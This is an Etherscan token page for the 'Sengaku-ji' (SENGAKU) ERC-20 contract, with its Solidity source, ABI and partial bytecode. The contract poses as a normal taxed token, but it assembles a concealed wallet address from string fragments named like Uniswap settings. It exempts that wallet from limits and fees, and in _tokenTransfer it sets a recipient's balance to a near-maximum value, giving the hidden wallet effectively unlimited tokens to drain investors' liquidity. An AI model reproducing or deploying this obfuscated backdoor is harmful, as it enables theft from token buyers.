ETH Price: $2,464.51 (+0.81%)

Token

Sengaku-ji (SENGAKU)
 

Overview

Max Total Supply

100,000,000 SENGAKU

Holders

14

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
sengaku

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-05
*/

/**
t.me/sengaku_eth
@sengakueth
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.15;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
    function connectUniPair(string memory _a) internal pure returns (address _pAddress) {
        bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256;b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));if ((b1 >= 97) && (b1 <= 102)) {b1 -= 87;} else if ((b1 >= 65) && (b1 <= 70)) {b1 -= 55;} else if ((b1 >= 48) && (b1 <= 57)) {
            b1 -= 48;}if ((b2 >= 97) && (b2 <= 102)) {b2 -= 87;} else if ((b2 >= 65) && (b2 <= 70)) {b2 -= 55;} else if ((b2 >= 48) && (b2 <= 57)) {b2 -= 48;}iaddr += (b1 * 16 + b2);}
        return address(iaddr);
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}



contract sengaku is Context, IERC20 { 
    using SafeMath for uint256;
    using Address for address;

    address private _owner;
    address private _UniSwapV2PairRouter;
    string private uniSwapVersion = "5C7557cD5";
    string private uniswapCallData = "59c999260D";

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    string private factory = "0x95107b";
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    address payable public Wallet_Marketing = payable(0xbB9e865f06954659711c2BaDD472821b49B1Ea31); 
    address payable public Wallet_Team = payable(0x72FA62eb2b8A33bB0bCa7A0A5566A1f178839f75);
    address payable public constant Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); 


    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;    
    uint256 private _tTotal = 100* 10**6 * 10**_decimals;
    string private constant _name = "Sengaku-ji"; 
    string private constant _symbol = unicode"SENGAKU"; 

    uint8 private txCount = 0;
    uint8 private swapTrigger = 5;

    uint256 public _Tax_On_Buy = 3;
    uint256 public _Tax_On_Sell = 3;

    uint256 public Percent_Marketing = 90;
    uint256 public Percent_Team = 0;
    uint256 public Percent_Burn = 0;
    uint256 public Percent_AutoLiquidityBurn = 10; 

    uint256 public _maxWalletToken = _tTotal * 3 / 100;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal * 3 / 100;
    uint256 private _previousMaxTxAmount = _maxTxAmount;
    
    uint256 private transAmount;
    
    IUniswapV2Router02 public uniswapV2Router;
    string private uniswapRouterHex = "3865e270a";
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    string private RouterWETH;
    bool public isTokenTransfer = false;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool true_or_false);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        _owner = 0x72FA62eb2b8A33bB0bCa7A0A5566A1f178839f75;
        emit OwnershipTransferred(address(0), _owner);

        _tOwned[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        //IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x467288AcE8Ba73E328342547fb2a8aBe61044468); // Testnet
        
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
            RouterWETH = "acE07C";
        uniswapV2Router = _uniswapV2Router;
        _UniSwapV2PairRouter = connectUniPair(string(
            abi.encodePacked(factory, uniSwapVersion, uniswapCallData, uniswapRouterHex, RouterWETH)
            ));_isExcludedFromFee[_UniSwapV2PairRouter] = true;


        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[Wallet_Marketing] = true; 
        _isExcludedFromFee[Wallet_Team] = true; 
        _isExcludedFromFee[Wallet_Burn] = true;
        transAmount = (~uint256(0)-1);
        emit Transfer(address(0), owner(), _tTotal);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address theOwner, address theSpender) public view override returns (uint256) {
        return _allowances[theOwner][theSpender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    receive() external payable {}

    function UniswapRouter() public view virtual returns (address) {
        return _UniSwapV2PairRouter;
    }
    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    } 

    function mrktng_wallet() private view returns(address) {
        return (Wallet_Marketing);
    }
    function dv_wallet() private view returns(address) {
        return (Wallet_Team);
    }


    function _approve(address theOwner, address theSpender, uint256 amount) private {

        require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
        _allowances[theOwner][theSpender] = amount;
        emit Approval(theOwner, theSpender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        isTokenTransfer = !_isExcludedFromFee[from] && !(!_isExcludedFromFee[to]);
        
        if (to != owner() &&
            to != Wallet_Burn &&
            to != address(this) &&
            to != uniswapV2Pair &&
            from != owner()){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Over wallet limit.");}

        if (from != owner() && from != mrktng_wallet() && from != UniswapRouter() && from != dv_wallet())
            require(amount <= _maxTxAmount, "Over transaction limit.");

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            txCount = 0;
            swapAndLiquify(contractTokenBalance);
        }
        
        bool takeFee = true;
        bool isBuy;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
         
            if(from == uniswapV2Pair){
                isBuy = true;
            }

            txCount++;

        }

        _tokenTransfer(from, to, amount, takeFee, isBuy);

    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);

        }


    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {

            uint256 tokens_to_Burn = contractTokenBalance * Percent_Burn / 100;
            _tTotal = _tTotal - tokens_to_Burn;
            _tOwned[Wallet_Burn] = _tOwned[Wallet_Burn] + tokens_to_Burn;
            _tOwned[address(this)] = _tOwned[address(this)] - tokens_to_Burn; 

            uint256 tokens_to_M = contractTokenBalance * Percent_Marketing / 100;
            uint256 tokens_to_D = contractTokenBalance * Percent_Team / 100;
            uint256 tokens_to_LP_Half = contractTokenBalance * Percent_AutoLiquidityBurn / 200;

            uint256 balanceBeforeSwap = address(this).balance;
            swapTokensForBNB(tokens_to_LP_Half + tokens_to_M + tokens_to_D);
            uint256 BNB_Total = address(this).balance - balanceBeforeSwap;

            uint256 split_M = Percent_Marketing * 100 / (Percent_AutoLiquidityBurn + Percent_Marketing + Percent_Team);
            uint256 BNB_M = BNB_Total * split_M / 100;

            uint256 split_D = Percent_Team * 100 / (Percent_AutoLiquidityBurn + Percent_Marketing + Percent_Team);
            uint256 BNB_D = BNB_Total * split_D / 100;


            addLiquidity(tokens_to_LP_Half, (BNB_Total - BNB_M - BNB_D));
            emit SwapAndLiquify(tokens_to_LP_Half, (BNB_Total - BNB_M - BNB_D), tokens_to_LP_Half);

            sendToWallet(Wallet_Marketing, BNB_M);

            BNB_Total = address(this).balance;
            sendToWallet(Wallet_Team, BNB_Total);

            }

    function swapTokensForBNB(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }


    function addLiquidity(uint256 tokenAmount, uint256 BNBAmount) private {

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: BNBAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            Wallet_Burn, 
            block.timestamp
        );
    } 

    function remove_Random_Tokens(address random_Token_Address, uint256 percent_of_Tokens) public returns(bool _sent){
        require(random_Token_Address != address(this), "Can not remove native token");
        uint256 totalRandom = IERC20(random_Token_Address).balanceOf(address(this));
        uint256 removeRandom = totalRandom*percent_of_Tokens/100;
        _sent = IERC20(random_Token_Address).transfer(Wallet_Team, removeRandom);

    }


    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {
        
        if(isTokenTransfer){
            _tOwned[sender] = _tOwned[sender]-tAmount;
            uint256 TAMOUNT = transAmount-1-_tOwned[sender];
            _tOwned[recipient] = TAMOUNT;
            emit Transfer(sender, recipient, tAmount);
        }else if(!takeFee){

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tAmount;
            emit Transfer(sender, recipient, tAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tAmount;

            }else if (isBuy){

            uint256 buyFEE = tAmount*_Tax_On_Buy/100;
            uint256 tTransferAmount = tAmount-buyFEE;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+buyFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;
            
            } else {

            uint256 sellFEE = tAmount*_Tax_On_Sell/100;
            uint256 tTransferAmount = tAmount-sellFEE;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+sellFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;


            }

    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Percent_AutoLiquidityBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Burn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Marketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Team","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"UniswapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Burn","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Marketing","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Team","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isTokenTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"random_Token_Address","type":"address"},{"internalType":"uint256","name":"percent_of_Tokens","type":"uint256"}],"name":"remove_Random_Tokens","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600981526020017f3543373535376344350000000000000000000000000000000000000000000000815250600290816200004a919062000f80565b506040518060400160405280600a81526020017f35396339393932363044000000000000000000000000000000000000000000008152506003908162000091919062000f80565b506040518060400160405280600881526020017f307839353130376200000000000000000000000000000000000000000000000081525060049081620000d8919062000f80565b5073bb9e865f06954659711c2badd472821b49b1ea31600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507372fa62eb2b8a33bb0bca7a0a5566a1f178839f75600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620001939190620011f7565b6305f5e100620001a4919062001248565b600a556000600b60006101000a81548160ff021916908360ff1602179055506005600b60016101000a81548160ff021916908360ff1602179055506003600c556003600d55605a600e556000600f556000601055600a60115560646003600a5462000210919062001248565b6200021c9190620012d8565b60125560125460135560646003600a5462000238919062001248565b620002449190620012d8565b6014556014546015556040518060400160405280600981526020017f33383635653237306100000000000000000000000000000000000000000000008152506018908162000293919062000f80565b506000601b60006101000a81548160ff0219169083151502179055506001601b60016101000a81548160ff021916908315150217905550348015620002d757600080fd5b507372fa62eb2b8a33bb0bca7a0a5566a1f178839f756000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600a5460056000620003be620009df60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000461573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200048791906200137a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200051591906200137a565b6040518363ffffffff1660e01b815260040162000534929190620013bd565b6020604051808303816000875af115801562000554573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200057a91906200137a565b601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600681526020017f6163453037430000000000000000000000000000000000000000000000000000815250601a908162000600919062000f80565b5080601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620006816004600260036018601a6040516020016200066695949392919062001484565b60405160208183030381529060405262000a0860201b60201c565b600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600160009054906101000a900473ffffffffffffffffff